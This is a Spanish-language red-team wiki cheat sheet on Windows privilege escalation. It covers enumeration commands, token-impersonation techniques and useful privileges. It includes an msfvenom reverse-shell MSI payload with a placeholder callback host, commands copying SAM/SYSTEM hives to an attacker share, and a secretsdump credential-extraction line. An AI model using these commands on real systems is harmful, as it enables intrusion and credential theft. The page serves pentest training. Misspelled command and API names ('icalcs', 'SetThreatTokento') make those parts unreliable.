> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/redteam/windows/elevacion-de-privilegios.md).

# Elevación de Privilegios

## Configuración de servicios

## Configuración de ficheros

Usamos el comando `icalcs "C:\ruta\al\fichero\o\directorio"` para conocer la configuración de un fichero, con 3 posibles modos:

* (F) Full Control
* (M) Modify
* (W) Write

## Configuración de registros

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
```

Una vez nos aparece como resultado "0x1" (que el bit está a 1, es decir, habilitado) podemos generar un exploit a la máquina víctima:

{% code overflow="wrap" %}

```
msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi
```

{% endcode %}

## Gestión de contraseñas

Para listar las credenciales almacenadas

```
cmdkey /list
```

Para enviar una copia de la SAM

```
copy C:\Windows\Repair\SAM \\IP.DE.TU.MAQUINA\
copy C:\Windows\Repair\SYSTEM \\IP.DE.TU.MAQUINA\
```

Teniendo credenciales de la máquina víctima podemos extraer las credenciales con [secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) de [Impacket](https://github.com/fortra/impacket)

```
python3 secretsdump.py domain/user:password@IP.DE.MAQUINA.VICTIMA
```

## Tareas programadas

{% code overflow="wrap" %}

```
schtasks /query /fo LIST /v #cmd
Get-ScheduledTask #PS
```

{% endcode %}

## Manipulación de privilegios

Hay 3 posibles formas de evadirlos y aprovecharlos:

1. **Suplantación/Robo de Token** - Un atacnte duplica un token existente usando `DuplicateToken(Ex)`. El token puede entonces ser utilizado con `ImpersonateLoggedOnUser` para permitir que el hilo de llamada suplante el contexto de seguridad de un usuario conectado, o con `SetThreatTokento` asignar el token suplantado a un hilo. Esto es útil para cuando el usuario objetivo tiene una sesión de inicio de sesión no de red en el sistema.
2. **Crear Proceso con un Token** - Un atacante crea un nuevo token de acceso con `DuplicateToken(Ex)` y lo usa con `CreateProcessWithTokenW` para crear un nuevo proceso que se ejecuta bajo el contexto de seguridad del usuario suplantado.
3. **Creación y suplantación de Token** - Un atacante con credenciales pero sin haber iniciado sesión en el sistema puede crear una sesión utilizando`LogonUserfunction`. La función devolverá una copia del token de acceso de la sesión y el atacante puede utilizar`SetThreadtTokento` asignar el token a un hilo.

Para saber la configuración que tiene una máquina:

```
whoami /priv
```

Una vez sabemos los privilegios habilitados, vamos a ver los más interesantes:

<table data-full-width="true"><thead><tr><th width="301">Nombre</th><th width="753">Descripción</th></tr></thead><tbody><tr><td>SeImpersonatePrivilege</td><td>Suplanta a un usuario tras haberse autenticado</td></tr><tr><td><strong>SeBackupPrivilege</strong></td><td>Da acceso a cualquier fichero sin tener en cuenta su ACL</td></tr><tr><td><strong>SeCreateTokenPrivilege</strong></td><td>Este token puede ser utilizado solamente si el usuario puede suplantar tokens (incluso sin SeImpersonatePrivilege)</td></tr><tr><td><strong>SeLoadDriverPrivilege</strong></td><td>Carga y descarga drivers</td></tr><tr><td><strong>SeRestorePrivilege</strong></td><td>Da permisos de escritura a cualquier fichero.</td></tr><tr><td><strong>SeTakeOwnershipPrivilege</strong></td><td>Toma el control de un objeto sin que se haya concedido acceso.</td></tr><tr><td><strong>SeTcbPrivilege</strong></td><td>A través de KERB_S4U_LOGON se puede obtener un token de suplantación a cualquier otro usuario sin conocer las credenciales, añadir un grupo arbitrario (admins) al token, establecer el nivel de integridad del token en "medium", y asignar este token al hilo actual (SetThreadToken).</td></tr></tbody></table>

## Herramientas

* winPEASany.exe
* Seatbelt.exe
* PowerUp.ps1
* SharpUp.exe

## Recursos

* <https://exploit-notes.hdks.org/exploit/windows/privilege-escalation/>
* <https://tryhackme.com/room/windows10privesc>

## Herramientas

* <https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS>
* <https://github.com/bitsadmin/wesng>
* <https://github.com/itm4n/PrivescCheck>
